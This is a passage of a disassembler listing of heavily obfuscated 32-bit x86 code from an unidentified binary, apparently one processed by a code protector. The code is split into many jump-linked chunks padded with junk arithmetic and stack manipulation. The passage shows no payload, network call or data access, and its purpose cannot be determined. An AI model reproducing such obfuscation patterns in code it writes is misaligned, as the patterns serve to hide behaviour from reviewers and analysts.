loc_5A9A19:				; CODE XREF: sub_5A18F6+D6EDj
		mov	esp, [esp+0]
		mov	ax, [esp-8+arg_4]
		push	7B52h
		mov	[esp-4+arg_0], ebx
		mov	ebx, esp
		sub	esp, 4
		mov	[esp+0], eax
		jmp	loc_5A9CFF
; END OF FUNCTION CHUNK	FOR sub_5A18F6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599117


loc_5A9A35:				; CODE XREF: sub_599117+B619j
		push	eax
		mov	eax, 54F41CEBh
		xor	eax, 0A45524Ah
		jmp	sub_5A4886
; END OF FUNCTION CHUNK	FOR sub_599117
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A21A4


loc_5A9A45:				; CODE XREF: sub_5A21A4+E05j
		jmp	loc_5AFB1C
; END OF FUNCTION CHUNK	FOR sub_5A21A4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5A9A4A:				; CODE XREF: sub_5992DA+16D5j
		xor	ebp, [esp+26h+var_26]
		jmp	loc_5AA374
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------


loc_5A9A52:				; CODE XREF: sdfs____:005A1B1Cj
		pop	ebx
		and	ebx, 46452215h
		jb	loc_5AD253
		add	ebx, 3184F9C8h
		jmp	loc_5A7D17
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A118F


loc_5A9A6A:				; CODE XREF: sub_5A118F-2C53j
		add	esp, 4
		jmp	loc_59C4D4
; END OF FUNCTION CHUNK	FOR sub_5A118F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AF2D9


loc_5A9A72:				; CODE XREF: sub_5AF2D9-F531j
		push	6443h
		mov	[esp+0Ch+var_C], ebp
		push	579769D9h
		jmp	loc_5AD38D
; END OF FUNCTION CHUNK	FOR sub_5AF2D9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5A9A84:				; CODE XREF: sub_5992DA+500Bj
		push	edi
		push	1
		jmp	loc_599B9A
; END OF FUNCTION CHUNK	FOR sub_5992DA

; =============== S U B	R O U T	I N E =======================================



sub_5A9A8F	proc near		; CODE XREF: sub_59C979+B578j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005AF930 SIZE 00000010 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], eax
		jmp	loc_5AF930
sub_5A9A8F	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599117


loc_5A9A9A:				; CODE XREF: sub_599117+710j
		not	ebx
		add	ebx, 703E6264h
		mov	ebp, ebx
		push	dword ptr [esp+0]
		pop	ebx
		add	esp, 4
		xor	ebp, esi
		jmp	loc_5A0D27
; END OF FUNCTION CHUNK	FOR sub_599117
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A580F


loc_5A9AB2:				; CODE XREF: sub_5A580F+7BB3j
		not	edx
		add	edx, 41BB7FCDh
		jbe	loc_5AFCF4
		dec	edx
		shl	edx, 1
		jmp	loc_59AD19
; END OF FUNCTION CHUNK	FOR sub_5A580F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C979


loc_5A9AC8:				; CODE XREF: sub_59C979+F6A0j
		shl	esi, 6
		shr	esi, 6
		jmp	loc_5A21D1
; END OF FUNCTION CHUNK	FOR sub_59C979
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A600D


loc_5A9AD3:				; CODE XREF: sub_5A600D:loc_5A37C4j
		add	ah, 32h
		mov	bl, ah
		pop	eax
		dec	bl
		not	bl
		push	eax
		jmp	loc_59930A
; END OF FUNCTION CHUNK	FOR sub_5A600D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A7E7


loc_5A9AE3:				; CODE XREF: sub_59A7E7+A419j
		add	ch, 2Fh
		add	ch, 88h
		add	bl, 0E1h
		add	bl, ch
		sub	bl, 0E1h
		pop	ecx
		jmp	loc_59E2B1
; END OF FUNCTION CHUNK	FOR sub_59A7E7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AFA26


loc_5A9AF7:				; CODE XREF: sub_5AFA26-6C5Dj
		jnz	loc_59A53B
		add	ebp, 7F270EB6h
		jl	loc_5A5A9C
; END OF FUNCTION CHUNK	FOR sub_5AFA26
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A9B09:				; CODE XREF: sub_5AA2D1-F6B6j
		push	esp
		pop	edx
		add	edx, 4
		push	eax
		sub	esp, 4
		jmp	loc_59F298
; END OF FUNCTION CHUNK	FOR sub_5AA2D1

; =============== S U B	R O U T	I N E =======================================



sub_5A9B1D	proc near		; DATA XREF: sdfs____:00598E5Co

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 0059B621 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059CF0A SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0059E7A6 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0059F834 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A083F SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005A1264 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005A3E81 SIZE 00000034 BYTES
; FUNCTION CHUNK AT 005A73E4 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 005A7623 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 005AA434 SIZE 00000036 BYTES
; FUNCTION CHUNK AT 005AC432 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 005AD0FB SIZE 0000004A BYTES

		mov	ecx, [esp+0]
		push	3853h
		mov	[esp+0], ebp
		push	esp
		pop	ebp
		push	243Eh
		mov	[esp-8+arg_4], ecx
		jmp	loc_5A73E4
sub_5A9B1D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599C9B


loc_5A9B37:				; CODE XREF: sub_599C9B+10778j
		sub	ebx, 6D8C6A16h
		mov	ebp, [esp+4+var_4]
		jmp	loc_59DB94
; END OF FUNCTION CHUNK	FOR sub_599C9B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A77D5


loc_5A9B45:				; CODE XREF: sub_5A77D5-C576j
		xor	edi, [esp+4+var_4]
		mov	esp, [esp+4+var_4]
		jmp	loc_5A2142
; END OF FUNCTION CHUNK	FOR sub_5A77D5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3E64


loc_5A9B50:				; CODE XREF: sub_5A3E64-8D55j
		xchg	ecx, [esp+0]
		jmp	loc_5996CE
; END OF FUNCTION CHUNK	FOR sub_5A3E64
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AFD37


loc_5A9B58:				; CODE XREF: sub_5AFD37+Ej
		add	edi, 4
		push	ebx
		jmp	loc_59D898
; END OF FUNCTION CHUNK	FOR sub_5AFD37
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AF2D9


loc_5A9B64:				; CODE XREF: sub_5AF2D9-158FFj
		dec	ebx
		jno	loc_5A28F7
		xor	ebx, 394A7C89h
		add	ebx, 64F2793h
; END OF FUNCTION CHUNK	FOR sub_5AF2D9
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A9B77:				; CODE XREF: sub_5AA2D1-6944j
		mov	edx, 2E8A0314h
		dec	edx
		jl	loc_5A7E94
		sub	edx, 412256A1h
		jnz	loc_5A8707
		jmp	loc_59C23B
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
		push	dword ptr [esp+4]
		pop	edi
		push	esi
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A9B9A:				; CODE XREF: sub_5AA2D1+48EEj
		add	bl, ch
		mov	ecx, [esp-0Ch+arg_8]
		add	esp, 4
		jmp	loc_59A52D
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C979


loc_5A9BAA:				; CODE XREF: sub_59C979+D525j
		push	eax
		push	12085B52h
		pop	eax
		and	ebp, eax
		pop	eax
		add	ebp, 0EDF7ECB2h
		add	edi, ebp
		pop	ebp
		push	4204h
		mov	dword ptr [esp+2+var_2], edi
		push	dword ptr [esp+4]
		mov	edi, [esp+6+var_6]
		jmp	loc_5AA1C0
; END OF FUNCTION CHUNK	FOR sub_59C979
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A9BD1:				; CODE XREF: sub_5AA2D1-3D41j
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+4+var_4]
		pop	esp
		push	7EFBh
		mov	[esp+4+var_4], ecx
		mov	cl, 97h
		not	cl
		add	cl, 0F2h
		shr	cl, 5
		jns	loc_5A025C
		push	7FF1h
		mov	[esp+8+var_8], edx
		mov	dh, 6Dh
		or	dh, 0E4h


loc_5A9C03:				; CODE XREF: sub_59AE39+7135j
		push	555Fh
		mov	[esp+0Ch+var_C], ecx
		mov	ecx, 3F647Ch
		jmp	loc_5A0C0E
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8215


loc_5A9C15:				; CODE XREF: sub_5A8215+314j
		xor	[esp+4+var_4], edi
		xchg	ebp, edi
		push	ebp
		not	[esp+8+var_8]
		mov	ebp, [esp+8+var_8]
		add	esp, 4
		xor	edi, ebp
		xor	ebp, edi
		jmp	loc_59DBF7
; END OF FUNCTION CHUNK	FOR sub_5A8215
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A9C2D:				; CODE XREF: sub_5AA2D1-11EAj
		push	edi
		push	1345h
		mov	[esp-20h+arg_1C], esp
		add	[esp-20h+arg_1C], 4
		mov	edi, [esp-20h+arg_1C]
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_5A6D47
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C656


loc_5A9C4E:				; CODE XREF: sub_59C656:loc_5A9DEAj
		shr	ebp, 4
		xor	ebp, 54D66ADBh
		jmp	loc_5A01F6
; END OF FUNCTION CHUNK	FOR sub_59C656
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A79BE


loc_5A9C5C:				; CODE XREF: sub_5A79BE+45ADj
		push	38EBh
		mov	[esp-4+arg_0], ecx
		mov	ecx, 39936A1Fh
		shl	ecx, 8
		push	1D93h
		mov	[esp+0], eax
		mov	eax, 498D2145h
		not	eax
		inc	eax
		add	eax, 64E45E1Dh
		push	esi
		mov	esi, 15EA6174h
		or	esi, 3CCF0400h
		push	edi
		mov	edi, 3A271639h
		jmp	loc_5A1048
; END OF FUNCTION CHUNK	FOR sub_5A79BE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A9C98:				; CODE XREF: sub_5AA2D1-596Fj
		push	dword ptr [edi+eax*4]
		jmp	loc_5A3CA2
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A9CAE


loc_5A9CA0:				; CODE XREF: sub_5A9CAE+9j
		push	[esp+arg_0]
		pop	edi
		pop	dword ptr [esp+0]
		pop	esp
		jmp	loc_599681
; END OF FUNCTION CHUNK	FOR sub_5A9CAE

; =============== S U B	R O U T	I N E =======================================



sub_5A9CAE	proc near		; CODE XREF: sub_5AB207-617Cj

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00599681 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A16D5 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005A9CA0 SIZE 0000000E BYTES

		sub	esp, 4
		mov	[esp-4+arg_0], edi
		jmp	loc_5A9CA0
sub_5A9CAE	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A9CBC:				; CODE XREF: sub_5AA2D1-161Dj
		push	4D6Ah
		mov	[esp+6+var_8+2], esp
		push	edi
		mov	edi, 4
		jmp	loc_59F253
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5A9CCF:				; CODE XREF: sub_5992DA+CCB5j
					; sub_5A7508+75CBj
		mov	ebx, 4
		add	edi, ebx
		pop	ebx
		xchg	edi, [esp+0]
		mov	esp, [esp+0]
		jmp	loc_59910F
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A9CE2:				; CODE XREF: sub_5AA2D1+C01j
		add	eax, ecx
		pop	ecx
		add	eax, 4
		xchg	eax, [esp+6+var_8+2]
		jmp	loc_59D2D8
; END OF FUNCTION CHUNK	FOR sub_5AA2D1

; =============== S U B	R O U T	I N E =======================================



sub_5A9CF2	proc near		; CODE XREF: sub_5A2065+ABD6j
		push	bx
		jmp	loc_5A33A2
sub_5A9CF2	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59DB82


loc_5A9CF9:				; CODE XREF: sub_59DB82+9000j
					; sub_5A4E04+98D2j
		pop	esp
		jmp	loc_59C125
; END OF FUNCTION CHUNK	FOR sub_59DB82
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A18F6


loc_5A9CFF:				; CODE XREF: sub_5A18F6+813Aj
		mov	eax, 424424C1h
		add	eax, 0BDBBDB43h
		add	ebx, eax
		mov	eax, [esp+0]
		add	esp, 4
		push	0A4Dh
		mov	[esp+0], eax
		push	6B9Eh
		mov	[esp+4+var_4], esi
		sub	esp, 4
		jmp	loc_5A9925
; END OF FUNCTION CHUNK	FOR sub_5A18F6
; ---------------------------------------------------------------------------


loc_5A9D2C:				; CODE XREF: sdfs____:005AC111j
		push	7EC13BE2h
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		not	edi
		or	edi, 12692477h
		jb	loc_5AC46D
		xor	edi, 937FE47Bh
		jmp	loc_59DC38
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5A9D54:				; CODE XREF: sub_5992DA+FF68j
		sub	dl, 0F3h
		shl	dl, 4
		xor	dl, 0B3h
		and	bl, dl
		jmp	loc_5A65ED
; END OF FUNCTION CHUNK	FOR sub_5992DA

; =============== S U B	R O U T	I N E =======================================



sub_5A9D64	proc near		; CODE XREF: sub_5A2E41+375Fj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005997C5 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059A0E1 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059ABCC SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0059B11A SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059B88F SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0059D475 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059EFEF SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A0CA3 SIZE 00000036 BYTES
; FUNCTION CHUNK AT 005A2572 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 005A27AC SIZE 00000035 BYTES
; FUNCTION CHUNK AT 005A2D06 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005A437A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A6626 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005A6E51 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005A74EC SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A7EAC SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A90B0 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 005A9538 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 005AA8CB SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005ABC03 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005AC4AD SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005AC6FF SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005AFDD7 SIZE 0000000B BYTES

		sub	esp, 4
		jmp	loc_5A9538
sub_5A9D64	endp


; =============== S U B	R O U T	I N E =======================================



sub_5A9D6F	proc near		; DATA XREF: sdfs____:00599088o

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0059A066 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059A64B SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059E3D0 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005B01A9 SIZE 00000011 BYTES

		lodsb
		push	7B7h
		jmp	loc_59E3D0
sub_5A9D6F	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5B01F7


loc_5A9D7A:				; CODE XREF: sub_5B01F7-C0E4j
		xor	eax, 4B7820B6h
		jg	loc_5A5B49
		shr	eax, 2
		jnp	loc_5A8447
		add	bh, 9
		push	edi
; END OF FUNCTION CHUNK	FOR sub_5B01F7
; START	OF FUNCTION CHUNK FOR sub_5A5EFF


loc_5A9D92:				; CODE XREF: sub_5A5EFF-BB9j
		add	esi, edx
		pop	edx
		push	esi
		push	[esp+8+var_4]
		mov	esi, [esp+0Ch+var_C]
		add	esp, 4
		pop	[esp+8+var_8]
		mov	esp, [esp+4+var_4]
		or	ebx, ebx
		jnz	loc_5A22D3
		push	eax
		push	esp
		jmp	loc_5A89D9
; END OF FUNCTION CHUNK	FOR sub_5A5EFF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A9DB5:				; CODE XREF: sub_5AA2D1-EB77j
		mov	dh, 10h
		jmp	loc_5A24FD
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5A9DBC:				; CODE XREF: sub_5992DA+1427Ej
		or	ebx, edi
		pop	edi
		dec	ebx
		shr	ebx, 3
		push	esi
		mov	esi, 45F9EE05h
		xor	ebx, esi
		pop	esi
		xchg	ebp, ebx
		xchg	edx, ebp
		not	edx
		xor	ebp, edx
		xor	edx, ebp
		xor	ebp, edx
		push	ebx
		push	ebp
		pop	ebx
		jmp	loc_5A620E
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ADD33


loc_5A9DE0:				; CODE XREF: sub_5ADD33-BDA2j
		push	esi
		inc	[esp+10h+var_10]
		pop	esi
		jmp	loc_5AED2A
; END OF FUNCTION CHUNK	FOR sub_5ADD33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C656


loc_5A9DEA:				; CODE XREF: sub_59C656+Cj
		jmp	loc_5A9C4E
; END OF FUNCTION CHUNK	FOR sub_59C656
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A311C


loc_5A9DEF:				; CODE XREF: sub_5A311C+6j
		push	eax
		sub	esp, 4
		mov	[esp+0Ch+var_C], esp
		add	[esp+0Ch+var_C], 4
		pop	eax
		push	edx
		mov	edx, 607408A3h
		push	ebx
		mov	ebx, 737C15BEh
		add	edx, 0CC3171Bh
		add	edx, ebx
		sub	edx, 0CC3171Bh
		pop	ebx
		sub	edx, 1
		jmp	loc_5A26C1
; END OF FUNCTION CHUNK	FOR sub_5A311C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5A9E1E:				; CODE XREF: sub_5992DA+12D8Cj
		mov	dh, 2Eh
		jmp	loc_5996D9
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB3DB


loc_5A9E25:				; CODE XREF: sub_5AB3DB-1B21j
		dec	eax
		or	eax, 391E5E76h
		xor	eax, 7DDE7E7Bh
		add	edi, eax
		pop	eax
		sub	edi, 4
		xchg	edi, [esp+0]
		pop	esp
		mov	[esp+0], eax
		jmp	loc_5A862A
; END OF FUNCTION CHUNK	FOR sub_5AB3DB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A26C


loc_5A9E42:				; CODE XREF: sub_59A26C+F0F2j
		inc	edx
		jns	loc_59ED71
		neg	edx
		jmp	loc_599211
; END OF FUNCTION CHUNK	FOR sub_59A26C
; ---------------------------------------------------------------------------
		mov	ebp, eax
		mov	dh, dl
; START	OF FUNCTION CHUNK FOR sub_59C979


loc_5A9E54:				; CODE XREF: sub_59C979+E02Ej
		push	4
		pop	ebp
		add	edi, 6533A79h
		add	edi, ebp
		sub	edi, 6533A79h
		mov	ebp, [esp+6+var_6]
		add	esp, 4
		push	ebp
		mov	ebp, 5B0113BFh
		sub	esp, 4
		mov	[esp+0Ah+var_A], ebx
		mov	ebx, 52681EFFh
		xor	ebx, 2F3974B7h
		shr	ebx, 1
		not	ebx
		add	ebx, 64BB6BB9h
		xor	ebx, 1D1AB07Bh
		or	ebp, ebx
		pop	ebx
		add	ebp, 0FFFFFFFFh
		jmp	loc_5A9BAA
; END OF FUNCTION CHUNK	FOR sub_59C979
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A522E


loc_5A9EA3:				; CODE XREF: sub_5A522E-94E5j
		inc	ebx
		jmp	loc_5A2F68
; END OF FUNCTION CHUNK	FOR sub_5A522E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A118F


loc_5A9EA9:				; CODE XREF: sub_5A118F+5165j
		inc	dh
		add	dh, 0FFh
		push	ebx
		jmp	loc_5ACC6A
; END OF FUNCTION CHUNK	FOR sub_5A118F

; =============== S U B	R O U T	I N E =======================================



sub_5A9EB4	proc near		; CODE XREF: sub_59D6B8+FEF8j

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0059A493 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0059A972 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0059C63E SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059E902 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0059F473 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0059FE79 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A558D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A5674 SIZE 0000000A BYTES

		push	ebp
		pop	ecx
		pop	ebp
		pop	edx
		rep movsd
		jmp	loc_59FE79
sub_5A9EB4	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5A9EBF	proc near		; CODE XREF: sub_59C979+684j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0059968F SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059A0FC SIZE 00000078 BYTES
; FUNCTION CHUNK AT 0059A472 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059AF2F SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0059AF5F SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0059BB62 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0059C3A2 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059C8A5 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A09FD SIZE 00000022 BYTES
; FUNCTION CHUNK AT 005A24DC SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A2F4E SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A3CED SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005A402E SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A45E6 SIZE 0000002A BYTES
; FUNCTION CHUNK AT 005A58E3 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A74C1 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005A7676 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A7D96 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 005A825D SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A86C6 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A8C6A SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A901C SIZE 0000001D BYTES
; FUNCTION CHUNK AT 005AAE09 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005AF092 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005AF5F0 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005AFCA2 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005B003D SIZE 00000028 BYTES

		push	ebx
		jmp	loc_5A09FD
sub_5A9EBF	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5A9EC5	proc near		; CODE XREF: sub_5ABE0D-BB5Dj
					; sub_5992DA+154F3j

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0059946A SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00599F06 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059BF1B SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059C4A3 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059C6FB SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0059D34A SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059E628 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0059F01E SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005A05EE SIZE 00000027 BYTES
; FUNCTION CHUNK AT 005A0F0F SIZE 00000021 BYTES
; FUNCTION CHUNK AT 005A1983 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 005A1EAA SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A24C3 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005A3621 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005A3F4F SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005A5510 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A6DDA SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005A8344 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A8464 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005A8DF0 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005A8E33 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A8F52 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005AAB6E SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005AB15E SIZE 0000001B BYTES
; FUNCTION CHUNK AT 005ABE78 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005AE140 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005AE7E9 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005AF6A2 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005AFA60 SIZE 00000008 BYTES

		sub	esp, 2
		mov	word ptr [esp+4+var_4],	cx
		mov	cl, bl
		mov	bl, dh
		mov	dh, cl
		pop	cx
		jmp	loc_5A3621
sub_5A9EC5	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A118F


loc_5A9EDC:				; CODE XREF: sub_5A118F+B8ACj
		add	al, 0ECh
		add	al, cl
		sub	al, 0ECh
		pop	cx
		push	esi
		jmp	loc_5A692A
; END OF FUNCTION CHUNK	FOR sub_5A118F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A9EEA:				; CODE XREF: sub_5AA2D1-756Ej
					; sub_5A7746-153Dj
		neg	ecx
		jno	loc_59D27C
		inc	ecx
		js	loc_59B879
		jmp	loc_5A8719
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
		and	al, 2Dh
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_5A9F00:				; CODE XREF: sub_59D6B8+D59Aj
		add	esp, 4
		push	edi
		push	esp
		jmp	loc_5A3D28
; END OF FUNCTION CHUNK	FOR sub_59D6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA810


loc_5A9F0D:				; CODE XREF: sub_5AA810-D2B0j
		jmp	loc_599A24
; END OF FUNCTION CHUNK	FOR sub_5AA810
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0FFF


loc_5A9F12:				; CODE XREF: sub_5A0FFF-4E6Bj
		jmp	dword ptr [edi+eax*4]
; END OF FUNCTION CHUNK	FOR sub_5A0FFF
; ---------------------------------------------------------------------------
		jmp	loc_599792
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC18D


loc_5A9F1A:				; CODE XREF: sub_5AC18D-DD3j
		add	edx, edi
		add	edx, 4D746AACh
		jmp	loc_59B71F
; END OF FUNCTION CHUNK	FOR sub_5AC18D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FE51


loc_5A9F27:				; CODE XREF: sub_59FE51+32C6j
		mov	esp, [esp+0]
		push	dword ptr [esp+0]
		push	[esp+4+var_4]
		pop	edx
		add	esp, 4
		push	9DEh
		mov	[esp+4+var_4], edi
		mov	edi, esp
		push	ecx
